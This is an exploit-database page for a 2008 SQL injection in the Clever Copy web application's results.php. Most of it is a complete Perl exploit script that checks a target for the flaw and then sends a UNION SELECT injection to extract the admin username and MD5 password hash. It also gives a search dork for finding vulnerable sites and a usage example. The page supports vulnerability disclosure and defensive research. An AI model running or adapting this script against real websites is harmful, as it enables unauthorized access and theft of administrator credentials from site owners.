Clever Copy (results.php) Remote SQL Injection Exploit

vendor:

Clever Copy

by:

h0yt3r

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Clever Copy

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Clever Copy (results.php) Remote SQL Injection Exploit

This exploit allows an attacker to gain access to the admin credentials of a vulnerable website running Clever Copy. It works by sending a malicious request to the results.php page of the website, which contains a SQL injection vulnerability. The exploit then parses the response for the admin username and password, which are returned in an encrypted format.

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

#!/usr/bin/perl
######################
#
#Clever Copy (results.php) Remote SQL Injection Exploit
#
######################
#
#Bug by: h0yt3r
#
#Dork: "powered by Clever Copy"
#
##
###
##
#
#This simple Exploit will give you Admin Username and md5(Password)
#Pls don't use this to crack sites :P
#
#Gr33tz go to:
#thund3r, ramon, b!zZ!t, Free-Hack, Sys-Flaw and of course the ultimate h4ck-y0u Team
#

use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server =   $ARGV[0];
$dir = $ARGV[1];

print"\n";
if (!$dir) { die "Read Usage!\n"; }

$filename ="results.php";
my $url = "http://".$server.$dir.$filename;

my $Attack= $userAgent->get($url);
if ($Attack->is_success)
{
    print "[x] Attacking ".$url."\n";
}
else
{
    print "Couldn't connect to ".$url."!";
    exit;
}

print "[x] Vulnerable Check:";

my $check = $url."?%73%74%61%72%74%3D%30%26%73%65%61%72%63%68%74%65%72%6D%3D%43%43%4E%65%77%73%26%73%65%61%72%63%68%74%79%70%65%3D%27";

my $Attack= $userAgent->get($check);
if($Attack->content =~ m/You have an error in your SQL syntax/i)
{
    print " Vulnerable!\n";    
}
else
{
    print " Not Vulnerable!";
    exit;
}

print "[x] Injecting Black Magic\n";

my $Injection = "?start=0&searchterm=CCNews&searchtype=category union select 1,2,3,4,5,6,concat(char(104,48,121,116,51,114),username,0x3a,password,char(104,48,121,116,51,114)),8,9,10,11,12,13,14,15,16,17 from CC_admin/*";

my $Final = $url."?seiten_id=461&sprache_id=1".$Injection;
my $Attack= $userAgent->get($Final);    

if($Attack->content =~ m/<br>h0yt3r(.*?):(.*?)h0yt3r<br>/i)
{    
    my $login = $1;
    my $pass = $2;
    print "[x] Success!\n";
    print "[x] Admin Details:\n";

    print "    Username: ".$login."\n";
    print "    Password: ".$pass."\n";
}
else
{
    print"[x] Something wrong...";
    exit;

}

sub usage()
{
    print q
    {
    #####################################################
        Clever Copy Remote SQL Injection Exploit
            -Written by h0yt3r-
    Usage: Clever_Copy.pl [Server] [Path]
    Sample:
    perl Clever_Copy.pl www.site.com /clevercopy/
    ######################################################
    };

}
#eof 

# milw0rm.com [2008-06-12]